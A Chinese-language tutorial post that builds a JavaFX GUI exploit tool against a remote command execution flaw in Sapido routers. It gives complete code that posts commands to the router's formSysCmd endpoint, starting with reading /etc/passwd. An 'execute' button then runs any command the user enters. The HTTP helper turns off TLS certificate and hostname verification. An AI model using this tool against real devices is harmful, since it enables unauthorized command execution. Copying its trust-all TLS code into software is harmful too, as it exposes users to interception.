上一节介绍了HTTP以及HTTPS请求,那么这里我们就接着讲解事件与请求联动。
关于POC以及EXP最大的区别就是,EXP是附带利用功能,而POC仅仅是检测功能,所以这里我们需要动起来,GUI小工具能用上的事件功能其实就两个,一个是下拉列表的事件,一个是按钮点击事件,我们接着看
首先新增一个Sapido的类,用来默认测试命令执行漏洞,默认执行查看/etc/passwd命令,这里面其实可以写活的,用我上次讲的,给他接一个形参cmd用来接收命令参数,然后在检测的时候给他一个默认值,利用的时候重新调用这个方法,再给他一个新的实参,就可以达到我们的预期效果,但是没有太大的必要,这里为了方便我们的讲解,我们先这么写,然后在执行我们想要的命令的时候我会给大家介绍,如何把这个参数写活
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;
import java.net.URL;
public class Sapido {
public static String Sapido(String target) throws Exception {
URL url = new URL(target); //new一下url
String cmd_res = HttpRequest.http_post(url + "/boafrm/formSysCmd", "sysCmd=cat+/etc/passwd&apply=Apply&submit-url=/syscmd.htm&msg="); //调用Http_Post请求,这里直接将参数写死了,执行查看passwd文件命令,其实这里可以写活,就是引用一个活的参数,一会在外面会介绍,这里先写死
Document doc = Jsoup.parse(cmd_res); //调用一下Jsoup库的parse方法,因为返回包格式是html表单,我们只需要取表单的某一个参数值
Elements rows = doc.select("textarea[name=msg]"); //我们截取html表单textarea,名字msg的值,为什么是这个值,大家抓包看一下就知道了
String tim = rows.text(); //转换一下格式类型
return "执行结果如下:" + "\n" + tim; //return一下
}
}
我们返回我们的框架GUIDemo.java,我们需要新增如下代码
final String[] name = {null}; //用来对接下拉列表的值
//设置下拉列表监听事件
choiceBox.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener<Number>() {
public void changed(ObservableValue ov, Number value, Number new_value) {
String ChoiceBox_Name = strings[new_value.intValue()]; //做一个变量接一下下拉列表的值
textArea1.setText(strings[new_value.intValue()]); //纯偷窥一下接受到的值
name[0] = ChoiceBox_Name; //赋值
}
});
//添加按钮功能
button.setOnAction(event -> {
String url = textArea.getText(); //接收url
boolean sapido = name[0].equalsIgnoreCase("Sapido RCE"); //直接用布尔类型对比参数是否与下拉列表的值相同
if (sapido) {
try {
String sapidotext = Sapido.Sapido(url); //调用Sapido类,将返回结果赋值给sapidotext变量
textArea1.setText(sapidotext); //将sapidotext变量的值返回给textArea1
button1.setOnAction(event1 -> {
});
} catch (Exception e) {
textArea1.setText("未发现漏洞,或请求异常");
}
}else {
textArea1.setText("未发现漏洞,或请求异常");
}
});
我们看一下漏洞检测效果
此时已经完成了POC的玩法,我们接下来实现EXP功能,自定义命令输入,其实就是在检测成功的基础上增加一个按钮功能,没错,就是执行按钮的功能
if (sapido) {
try {
String sapidotext = Sapido.Sapido(url); //调用Sapido类,将返回结果赋值给sapidotext变量
textArea1.setText(sapidotext); //将sapidotext变量的值返回给textArea1
button1.setOnAction(event1 -> {
String cmd = textArea2.getText(); //接收textArea2的命令
String command = String.format("sysCmd=%s&apply=Apply&submit-url=/syscmd.htm&msg=", cmd); //字符串替换命令
try {
String Run = HttpRequest.http_post(url + "/boafrm/formSysCmd", command); //调用一下
Document doc = Jsoup.parse(Run);
Elements rows = doc.select("textarea[name=msg]");
String tim = rows.text();
textArea1.setText(sapidotext + "\n" + "执行结果如下:" + "\n" + tim);
} catch (Exception e) {
throw new RuntimeException(e);
}
});
我们看一下执行效果
肥畅nice,我们打包一下,爽一把
完整代码
GuiDemo.java
import javafx.application.Application;
import javafx.beans.value.ChangeListener;
import javafx.beans.value.ObservableValue;
import javafx.collections.FXCollections;
import javafx.scene.Scene;
import javafx.scene.control.Button;
import javafx.scene.control.ChoiceBox;
import javafx.scene.control.Label;
import javafx.scene.control.TextArea;
import javafx.scene.image.Image;
import javafx.scene.layout.AnchorPane;
import javafx.stage.Stage;
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;
public class GuiDemo extends Application { //创建一个GuiDemo类,GuiDemo继承Application类
public void start(Stage GuiDemo) { //创建一个无返回的start方法,Stage GuiDemo是JAVAFX里面的一个属性
//设置title
GuiDemo.setTitle("GUI小DEMO by:vlan911 "); //设置小工具的标题
GuiDemo.setMaxWidth(700); //设置小工具的最大宽度
GuiDemo.setMaxHeight(500); //设置小工具的最大高度
//设置icon
GuiDemo.getIcons().add(new Image("22.jpg")); //设置GUI的小图标,图标需要放在classes目录下或是网上的在线图片
//添加URL文字提示
Label l = new Label("请输入URL"); //设置一个lable,用来显示提示文字
l.setLayoutX(5); //设置lable的横坐标
l.setLayoutY(10); //设置lable的纵坐标
l.setPrefWidth(70); //设置lable的宽度
l.setPrefHeight(20); //设置lable的高度
//添加URL文本框
TextArea textArea = new TextArea(); //添加一哥文本框,用来接收URL
textArea.setLayoutX(75); //设置文本框的横坐标
textArea.setLayoutY(5); //设置文本框的纵坐标
textArea.setPrefWidth(220); //设置文本框的宽度
textArea.setPrefHeight(20); //设置文本框的高度
//添加下拉按钮
String strings[] = {"Kyan RCE", "Sapido RCE", "Vigor 2960 RCE"}; //添加一个字符串数组
ChoiceBox choiceBox = new ChoiceBox(FXCollections.observableArrayList(strings)); //添加一个下拉列表,内容就是上面的字符串数组
choiceBox.setLayoutX(315); //设置下拉列表的横坐标
choiceBox.setLayoutY(10); //设置下拉列表的纵坐标
choiceBox.setPrefHeight(20); //设置下拉列表的高度
choiceBox.setPrefWidth(70); //设置下拉列表的宽度
//添加确定按钮
Button button = new Button("确定"); //添加一个按钮
button.setLayoutX(405); //设置按钮的横坐标
button.setLayoutY(10); //设置按钮的纵坐标
button.setPrefHeight(20); //设置按钮的高度
button.setPrefWidth(50); //设置按钮的宽度
//添加回显文本框
TextArea textArea1 = new TextArea(); //添加一个回显文本框
textArea1.setLayoutX(5); //设置文本框的横坐标
textArea1.setLayoutY(100); //设置文本框的纵坐标
textArea1.setPrefHeight(300); //设置文本框的高度
textArea1.setPrefWidth(500); //设置文本框的宽度
textArea1.setWrapText(true); //设置文本框里的文字自动换行
textArea1.setText("Kyan信息泄露漏洞\n" +
"Kyan命令注入漏洞\n" +
"Sapido命令执行漏洞\n" +
"Vigor 2960命令执行\n" +
"博华网龙RCE\n" +
"西迪特WirelessRCE");
//添加执行命令文字提示
Label l1 = new Label("请输入命令");
l1.setLayoutX(5);
l1.setLayoutY(62);
l1.setPrefWidth(70);
l1.setPrefHeight(20);
//添加命令文本框
TextArea textArea2 = new TextArea();
textArea2.setLayoutX(75);
textArea2.setLayoutY(55);
textArea2.setPrefHeight(20);
textArea2.setPrefWidth(220);
//添加执行按钮
Button button1 = new Button("执行");
button1.setLayoutX(315);
button1.setLayoutY(62);
button1.setPrefHeight(20);
button1.setPrefWidth(50);
textArea2.setText("请输入命令...");
//添加一个pane,用来装填按钮等插件
AnchorPane anchorPane = new AnchorPane(); //添加一个pane,用来装后面的小插件
anchorPane.getChildren().addAll(textArea, choiceBox, button, l, textArea1, textArea2, l1, button1); //调用getChildren方法的addAll方法,写死就行,括号里的就是我们添加的插件名字
Scene scene = new Scene(anchorPane, 600, 700); //社子和Pane的默认宽度、高度,不能超过设置的窗口临界值
GuiDemo.setScene(scene); //把窗口的属性填进去
GuiDemo.show(); //显示窗口,否则运行的话是没有东西的
final String[] name = {null}; //用来对接下拉列表的值
//设置下拉列表监听事件
choiceBox.getSelectionModel().selectedIndexProperty().addListener(new ChangeListener<Number>() {
public void changed(ObservableValue ov, Number value, Number new_value) {
String ChoiceBox_Name = strings[new_value.intValue()]; //做一个变量接一下下拉列表的值
textArea1.setText(strings[new_value.intValue()]); //纯偷窥一下接受到的值
name[0] = ChoiceBox_Name; //赋值
}
});
//添加按钮功能
button.setOnAction(event -> {
String url = textArea.getText(); //接收url
boolean sapido = name[0].equalsIgnoreCase("Sapido RCE"); //直接用布尔类型对比参数是否与下拉列表的值相同
if (sapido) {
try {
String sapidotext = Sapido.Sapido(url); //调用Sapido类,将返回结果赋值给sapidotext变量
textArea1.setText(sapidotext); //将sapidotext变量的值返回给textArea1
button1.setOnAction(event1 -> {
String cmd = textArea2.getText(); //接收textArea2的命令
String command = String.format("sysCmd=%s&apply=Apply&submit-url=/syscmd.htm&msg=", cmd); //字符串替换命令
try {
String Run = HttpRequest.http_post(url + "/boafrm/formSysCmd", command); //调用一下
Document doc = Jsoup.parse(Run);
Elements rows = doc.select("textarea[name=msg]");
String tim = rows.text();
textArea1.setText(sapidotext + "\n" + "执行结果如下:" + "\n" + tim);
} catch (Exception e) {
throw new RuntimeException(e);
}
});
} catch (Exception e) {
textArea1.setText("未发现漏洞,或请求异常");
}
}else {
textArea1.setText("未发现漏洞,或请求异常");
}
});
}
public static void main(String[] args) {
launch(args);
}
}
HttpRequest.java
import okhttp3.*;
import javax.net.ssl.*;
import java.net.URL;
public class HttpRequest {
//第一个方法是用来跳过证书校验环节的,是我copy过来的
public static OkHttpClient getUnsafeOkHttpClient() {
try {
final TrustManager[] trustAllCerts = new TrustManager[]{
new X509TrustManager() {
@Override
public void checkClientTrusted(java.security.cert.X509Certificate[] chain, String authType) {
}
@Override
public void checkServerTrusted(java.security.cert.X509Certificate[] chain, String authType) {
}
@Override
public java.security.cert.X509Certificate[] getAcceptedIssuers() {
return new java.security.cert.X509Certificate[]{};
}
}
};
final SSLContext sslContext = SSLContext.getInstance("SSL");
sslContext.init(null, trustAllCerts, new java.security.SecureRandom());
final javax.net.ssl.SSLSocketFactory sslSocketFactory = sslContext.getSocketFactory();
OkHttpClient.Builder builder = new OkHttpClient.Builder();
builder.sslSocketFactory(sslSocketFactory);
builder.hostnameVerifier(new HostnameVerifier() {
@Override
public boolean verify(String hostname, SSLSession session) {
return true;
}
});
return builder.build();
} catch (Exception e) {
throw new RuntimeException(e);
}
}
//因为更改了玩法,所以需要分开写post请求和get请求,这里的post请求我给他两个参数,
// 分别是请求地址requestUrl以及请求body体outputStr,大家可以根据自己的实际需求增加,比如增加一个cookie,在get请求里会介绍
public static String http_post(String requestUrl, String outputStr) throws Exception {
//首先给一个全局变量resquestbody,用来接收返回结果
String resquestbody = "";
try {
//实例化URL,给requestUrl赋给url参数
URL url = new URL(requestUrl);
//这里和第61行可以写一块,这么写仅仅是为了美观
Request request = null;
//这个与第63行可以写一块,这么写仅仅是为了美观
RequestBody requestBody;
//与StringBuilder有异曲同工之处,只可意会不可言传
Request.Builder builder = new Request.Builder();
//将请求的包加载进去,加载的时候必须跟上content-type属性
requestBody = RequestBody.create(MediaType.parse("application/x-www-form-urlencoded"), outputStr);
//这里面用的其实是httpok的request方法,builder.get()并不是说是get请求,而是用来获取里面的参数
/*
* url(url) 获取URL
* post(requestBody) post方法,获取方法体
* addHeader("Cookie", "PHPSESSID=d383f6ut2i84pjsmmu2oceba16;") 添加一个cookie
* */
request = builder.get()
.url(url)
.post(requestBody)
.addHeader("Cookie", "PHPSESSID=d383f6ut2i84pjsmmu2oceba16;")
.build();
//OkHttpClient okHttpClient = new OkHttpClient();
//注意,这里 是关键,不用这个https的依然会报错
OkHttpClient okHttpClient = getUnsafeOkHttpClient();
Response response;
try {
//接收请求,没什么可说的
response = okHttpClient.newCall(request).execute();
//System.out.println(response.body().string());
assert response.body() != null;
//获取返回包的包体,和python挺像的,这里需要使用string()方法
resquestbody = resquestbody + response.body().string();
} catch (Exception e) {
//log.error("发送同步-get请求发生异常:url={} ", e.fillInStackTrace());
//System.out.println(e.getMessage());
//如果执行出错了,会打印异常日志,他和上面的是一起的,如果try里的全执行了就不会跑到这,
// 如果try里面执行了一半挂了,依然会跑到这。感兴趣的小伙伴可以自己试验一下
resquestbody = e.getMessage();
}
} catch (Exception e) {
e.printStackTrace();
}
// System.out.println(resquestbody);
return resquestbody;
}
//为了方便演示,这里面给大家引入了一个新的session,其实就是如果我想把参数灵活起来用,应该怎么玩
public static String http_get(String requestUrl, String session) throws Exception {
//依然是先给一个全局变量
String resquestbody = "";
try {
//实例化一个新的url
URL url = new URL(requestUrl);
Request request = null;
Request.Builder builder = new Request.Builder();
//老生常谈了,没啥可说的,cookie直接从局部变量接收就行,因为他是一个字符串,直接用也行
request = builder.get()
.url(url)
.get()
.addHeader("Cookie", session)
.build();
//OkHttpClient okHttpClient = new OkHttpClient();
OkHttpClient okHttpClient = getUnsafeOkHttpClient();
Response response;
try {
response = okHttpClient.newCall(request).execute();
assert response.body() != null;
resquestbody = resquestbody + response.body().string();
//System.out.println(resquestbody);
} catch (Exception e) {
//log.error("发送同步-get请求发生异常:url={} ", e.fillInStackTrace());
resquestbody = e.getMessage();
}
} catch (Exception e) {
e.printStackTrace();
}
System.out.println(resquestbody);
return resquestbody;
}
}
Sapido.java
import org.jsoup.Jsoup;
import org.jsoup.nodes.Document;
import org.jsoup.select.Elements;
import java.net.URL;
public class Sapido {
public static String Sapido(String target) throws Exception {
URL url = new URL(target); //new一下url
String cmd_res = HttpRequest.http_post(url + "/boafrm/formSysCmd", "sysCmd=cat+/etc/passwd&apply=Apply&submit-url=/syscmd.htm&msg="); //调用Http_Post请求,这里直接将参数写死了,执行查看passwd文件命令,其实这里可以写活,就是引用一个活的参数,一会在外面会介绍,这里先写死
Document doc = Jsoup.parse(cmd_res); //调用一下Jsoup库的parse方法,因为返回包格式是html表单,我们只需要取表单的某一个参数值
Elements rows = doc.select("textarea[name=msg]"); //我们截取html表单textarea,名字msg的值,为什么是这个值,大家抓包看一下就知道了
String tim = rows.text(); //转换一下格式类型
return "执行结果如下:" + "\n" + tim; //return一下
}
}
router.java
public class router {
public static void main(String[] args) {
GuiDemo.main(args);
}
}
pom.xml
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>org.example</groupId>
<artifactId>newrouter</artifactId>
<version>1.0-SNAPSHOT</version>
<properties>
<maven.compiler.source>8</maven.compiler.source>
<maven.compiler.target>8</maven.compiler.target>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
</properties>
<dependencies>
<dependency>
<groupId>com.alibaba</groupId>
<artifactId>fastjson</artifactId>
<version>1.2.83</version>
</dependency>
<dependency>
<groupId>org.jsoup</groupId>
<artifactId>jsoup</artifactId>
<version>1.15.3</version>
</dependency>
<dependency>
<groupId>com.squareup.okio</groupId>
<artifactId>okio</artifactId>
<version>1.16.0</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.25</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-simple</artifactId>
<version>2.0.3</version>
<scope>compile</scope>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-nop</artifactId>
<version>1.7.30</version>
</dependency>
<dependency>
<groupId>com.squareup.okhttp3</groupId>
<artifactId>okhttp</artifactId>
<version>4.9.3</version>
</dependency>
<dependency>
<groupId>com.squareup.okhttp3</groupId>
<artifactId>okhttp</artifactId>
<version>3.10.0</version>
</dependency>
<dependency>
<groupId>com.squareup.okio</groupId>
<artifactId>okio</artifactId>
<version>1.13.0</version>
</dependency>
<dependency>
<groupId>org.example</groupId>
<artifactId>newrouter</artifactId>
<version>1.0-SNAPSHOT</version>
</dependency>
<dependency>
<groupId>org.openjfx</groupId>
<artifactId>javafx-web</artifactId>
<version>17.0.2</version>
</dependency>
</dependencies>
</project>
完整代码结构截图
打包截图
完结了